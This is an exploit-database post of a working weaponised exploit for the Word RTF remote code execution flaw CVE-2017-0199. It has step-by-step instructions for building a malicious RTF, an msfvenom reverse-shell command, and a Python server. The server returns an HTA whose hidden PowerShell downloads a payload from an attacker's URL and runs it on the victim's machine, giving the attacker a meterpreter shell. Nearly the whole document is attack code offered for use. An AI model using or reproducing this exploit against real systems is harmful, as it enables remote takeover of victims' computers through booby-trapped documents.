Microsoft Word - .RTF Remote Code Execution



EKU-ID: 6512 CVE: 2017-0199 OSVDB-ID:
Author: Bhadresh Patel Published: 2017-04-19 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


'''
# Exploit Title: Exploit CVE-2017-0199 (Word RTF RCE) vulnerability to gain meterpreter shell
# Date: 17/04/2017
# Exploit Author: Bhadresh Patel
# Version: Microsoft Office 2007 SP3, Microsoft Office 2010 SP2, Microsoft Office 2013 SP1, Microsoft Office 2016, Microsoft Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, Windows 8.1.
# CVE : CVE-2017-0199
 
This is an article with video tutorial and tool to gain a meterpreter shell by exploiting CVE-2017-0199 (Word RTF RCE) vulnerability.
 
Video tutorial
 
https://youtu.be/ymLVH5avkZw
 
Steps
 
Step-1) Create a malicious RTF
- Start a webserver on attacker machine
- Open MS Office word and insert an innocent remote doc file (innocent.doc) as an object
- Save the file as RTF
- Modify RTF to inject \objupdate control
- Stop the webserver on attacker machine
- Share this RTF file with victim
 
Step-2) Create a meterpreter shell on attacker machine
- msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > shell.exe
- Start multi handler
 
Step-3) Start attacker script (server.py)
- Specify URL of meterpreter shell
- Specify location of shell
 
Step-4) Victim opens the document and an attacker gets a reverse meterpreter shell
'''
 
import os,sys,thread,socket
 
BACKLOG = 50            # how many pending connections queue will hold
MAX_DATA_RECV = 999999  # max number of bytes we receive at once
DEBUG = True            # set to True to see the debug msgs
def main():
 
    # check the length of command running
    if (len(sys.argv)<3):
        print "Usage: python ",sys.argv[0]," <port> <payloadurl> <payloadlocation> "
        sys.exit(1)
    else:
        port = int(sys.argv[1]) # port from argument
        global payloadurl
        global payloadlocation
        payloadurl = sys.argv[2]
        payloadlocation = sys.argv[3]
    # host and port info.
    host = ''               # blank for localhost
    
    print "Server Running on ",host,":",port
 
    try:
        # create a socket
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
        # associate the socket to host and port
        s.bind((host, port))
 
        # listenning
        s.listen(BACKLOG)
    
    except socket.error, (value, message):
        if s:
            s.close()
        print "Could not open socket:", message
        sys.exit(1)
 
    # get the connection from client
    while 1:
        conn, client_addr = s.accept()
 
        # create a thread to handle request
        thread.start_new_thread(server_thread, (conn, client_addr))
        
    s.close()
 
def printout(type,request,address):
    if "Block" in type or "Blacklist" in type:
        colornum = 91
    elif "Request" in type:
        colornum = 92
    elif "Reset" in type:
        colornum = 93
 
    print "\033[",colornum,"m",address[0],"\t",type,"\t",request,"\033[0m"
 
def server_thread(conn, client_addr):
 
    # get the request from browser
    request = conn.recv(MAX_DATA_RECV)
    if (len(request) > 0):
        # parse the first line
        first_line = request.split('\n')[0]
 
        # get method
        method = first_line.split(' ')[0]
        # get url
        url = first_line.split(' ')[1]
        check_exe_request = url.find('.exe')
        if (check_exe_request > 0):
            print "Received request for payload from "+client_addr[0]
            size = os.path.getsize(payloadlocation)
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
            with open(payloadlocation) as fin:
                data +=fin.read()
                conn.send(data)
                conn.close()
                sys.exit(1)
        if method in ['GET', 'get']:
            print "Received GET method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/hta\r\n\r\n<script>\na=new ActiveXObject(\"WScript.Shell\");\na.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe', 0);window.close();\n</script>\r\n"
            conn.send(data)
            conn.close()
        if method in ['OPTIONS', 'options']:
            print "Receiver OPTIONS method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:47:14 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nAllow: OPTIONS,HEAD,GET\r\nContent-Length: 0\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html"
            conn.send(data)
            conn.close()
        if method in ['HEAD', 'head']:
            print "Received HEAD method from "+client_addr[0]
            data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 315\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/doc\r\n\r\n"
            conn.send(data)
            conn.close()
        sys.exit(1)
    
if __name__ == '__main__':
    main()